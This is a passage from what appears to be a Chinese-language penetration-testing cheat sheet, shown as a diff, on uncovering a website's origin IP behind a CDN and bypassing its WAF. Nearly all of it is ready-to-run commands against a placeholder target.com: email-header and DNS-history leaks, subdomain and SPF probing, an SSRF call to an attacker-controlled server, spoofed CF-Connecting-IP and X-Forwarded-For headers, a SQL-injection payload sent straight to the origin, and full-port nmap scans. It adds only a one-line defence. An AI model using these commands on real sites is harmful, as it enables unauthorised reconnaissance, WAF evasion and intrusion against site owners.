+ ```
343
+ # 通过邮件头泄露真实IP:
344
+ # 1. 触发目标站点发送邮件(注册/找回密码/订阅):
345
+ curl -d "email=attacker@gmail.com" "http://target.com/forgot-password"
346
+ curl -d "email=attacker@gmail.com" "http://target.com/subscribe"
347
+
348
+ # 2. 查看收到邮件的原始头(Gmail: 显示原始邮件):
349
+ # 查找以下字段中的IP:
350
+ # Received: from mail.target.com (203.0.113.50)
351
+ # X-Originating-IP: [203.0.113.50]
352
+ # Return-Path: <noreply@target.com>
353
+
354
+ # 3. 使用swaks发送邮件触发:
355
+ swaks --to attacker@gmail.com --from test@target.com --server target.com
356
+
357
+ # 4. 分析邮件头:
358
+ # 最底部的Received字段通常包含源服务器真实IP
359
+
360
+ # 5. 如果目标有RSS订阅:
361
+ # 订阅后查看请求来源IP
362
+ curl "http://target.com/rss" -v
363
+ ```
364
+ **语法解析:**
365
+ - `Received` — 邮件传输路径 _header_
366
+
367
+ **DNS历史与证书透明度查询**
368
+ > 通过DNS历史、证书透明度、搜索引擎查找CDN背后的真实IP
369
+ ```
370
+ # 1. DNS历史记录查询:
371
+ # SecurityTrails:
372
+ curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | python3 -m json.tool
373
+
374
+ # 在线查询:
375
+ # https://viewdns.info/iphistory/?domain=target.com
376
+ # https://completedns.com/dns-history/
377
+ # https://dnshistory.org/dns-records/target.com
378
+
379
+ # 2. 证书透明度日志(CT Log):
380
+ curl -s "https://crt.sh/?q=target.com&output=json" | python3 -c "import json,sys; [print(x['common_name'],x['name_value']) for x in json.load(sys.stdin)]"
381
+
382
+ # 3. Censys搜索:
383
+ # https://search.censys.io/search?q=services.tls.certificates.leaf.names%3Atarget.com
384
+
385
+ # 4. FOFA/Shodan搜索:
386
+ # FOFA: cert="target.com"
387
+ # Shodan: ssl.cert.subject.cn:target.com
388
+ ```
389
+ **语法解析:**
390
+ - `crt.sh` — 证书透明度日志搜索引擎 _value_
391
+ - `SecurityTrails` — DNS历史记录查询API _value_
392
+ - `cert="target.com"` — FOFA语法搜索使用特定证书的IP _parameter_
393
+
394
+ **子域名与相关服务探测真实IP**
395
+ > 通过子域名、邮件记录、主动连接等方式发现真实IP
396
+ _platform: linux_
397
+ ```
398
+ # 1. 子域名可能未经CDN:
399
+ for sub in mail ftp ssh vpn dev staging test api admin mx; do
400
+ ip=$(dig +short ${sub}.target.com A 2>/dev/null | head -1)
401
+ [ -n "$ip" ] && echo "${sub}.target.com → $ip"
402
+ done
403
+
404
+ # 2. MX记录(邮件服务器通常不走CDN):
405
+ dig +short target.com MX
406
+ dig +short $(dig +short target.com MX | awk '{print $2}') A
407
+
408
+ # 3. SPF记录中的IP:
409
+ dig +short target.com TXT | grep -i "spf"
410
+ # v=spf1 ip4:203.0.113.50 include:... → 203.0.113.50可能是真实IP
411
+
412
+ # 4. 触发目标服务器主动连接:
413
+ # 在目标网站留下一个URL(如头像、webhook)指向自己的服务器
414
+ # 查看连接IP(这是目标的出站IP,通常是真实IP):
415
+ # nc -lvp 8888
416
+
417
+ # 5. SSRF利用:
418
+ # 如果存在SSRF漏洞,让服务器连接外部获取IP
419
+ curl "http://target.com/api/fetch?url=http://your-server.com/log-ip"
420
+ ```
421
+ **语法解析:**
422
+ - `dig +short target.com MX` — 查询邮件服务器记录,通常直接暴露真实IP _command_
423
+ - `SPF记录` — 邮件发送策略中包含的IP白名单 _value_
424
+
425
+ **验证真实IP并直接访问**
426
+ > 验证候选IP并直接访问绕过CDN防护
427
+ _platform: linux_
428
+ ```
429
+ # 1. 验证候选IP是否是真实服务器:
430
+ REAL_IP="203.0.113.50"
431
+
432
+ # 直接IP访问(Host头指定域名):
433
+ curl -sI "http://${REAL_IP}/" -H "Host: target.com"
434
+
435
+ # HTTPS访问(忽略证书):
436
+ curl -sk "https://${REAL_IP}/" -H "Host: target.com"
437
+
438
+ # 2. 对比响应确认:
439
+ cdn_resp=$(curl -s "https://target.com/" | md5sum)
440
+ direct_resp=$(curl -sk "https://${REAL_IP}/" -H "Host: target.com" | md5sum)
441
+ echo "CDN: $cdn_resp"
442
+ echo "Direct: $direct_resp"
443
+ [ "$cdn_resp" = "$direct_resp" ] && echo "[+] CONFIRMED: Real IP!"
444
+
445
+ # 3. 修改hosts绕过CDN测试:
446
+ echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
447
+
448
+ # 4. 直接对真实IP进行渗透(绕过CDN的WAF):
449
+ nmap -sV -p 1-65535 ${REAL_IP}
450
+ # CDN的WAF通常只保护CDN入口,直接访问真实IP可绕过
451
+ ```
452
+ **语法解析:**
453
+ - `-H "Host: target.com"` — 通过IP访问但指定Host头使服务器返回正确内容 _parameter_
454
+ - `-sk` — -s静默模式 -k忽略证书错误 _parameter_
455
+
456
+ **WAF/EDR 绕过变体:**
457
+
458
+ **绕过CDN WAF的多种技术**
459
+ > 利用真实IP和非标端口绕过CDN的WAF防护
460
+ ```
461
+ # 找到真实IP后,CDN的WAF就被完全绕过了
462
+ # 但如果目标自身也有WAF,还需要:
463
+
464
+ # 1. 使用真实IP直接访问(绕过CDN WAF):
465
+ curl -sk "https://REAL_IP/vulnerable?id=1' OR 1=1--" -H "Host: target.com"
466
+
467
+ # 2. 如果CDN仅对常见端口做WAF:
468
+ # 扫描非标端口的Web服务:
469
+ nmap -sV -p 8080,8443,8888,9090,3000,4443,8000 REAL_IP
470
+
471
+ # 3. IPv6绕过(CDN可能只保护IPv4):
472
+ dig +short target.com AAAA
473
+ curl -6 "http://[IPv6_ADDRESS]/" -H "Host: target.com"
474
+
475
+ # 4. 源站IP白名单探测:
476
+ # 某些源站配置了仅允许CDN IP访问
477
+ # 尝试伪造CDN的IP:
478
+ curl -H "CF-Connecting-IP: 1.2.3.4" "http://REAL_IP/" -H "Host: target.com"
479
+ curl -H "X-Forwarded-For: CDN_IP" "http://REAL_IP/" -H "Host: target.com"
480
+ ```
481
+ **语法解析:**
482
+ - `OR '1'='1'` — 逻辑永真 _keyword_
483
+ - `curl` — HTTP请求工具 _command_
484
+ - `-H` — 自定义请求头 _parameter_
485
+ - `X-Forwarded-For` — IP伪造头 _header_
486
+ - `nmap` — 端口扫描工具 _command_
487
+
488
+
489
+ **概述:** CDN隐藏了真实IP,绕过CDN是渗透测试的重要步骤。
490
+
491
+ **漏洞原理:** 信息泄露。
492
+
493
+ **利用方法:** DNS历史、子域名、邮件头、全网扫描
494
+
495
+ **防御措施:** 仅允许CDN IP访问源站
496
+
497
+ ---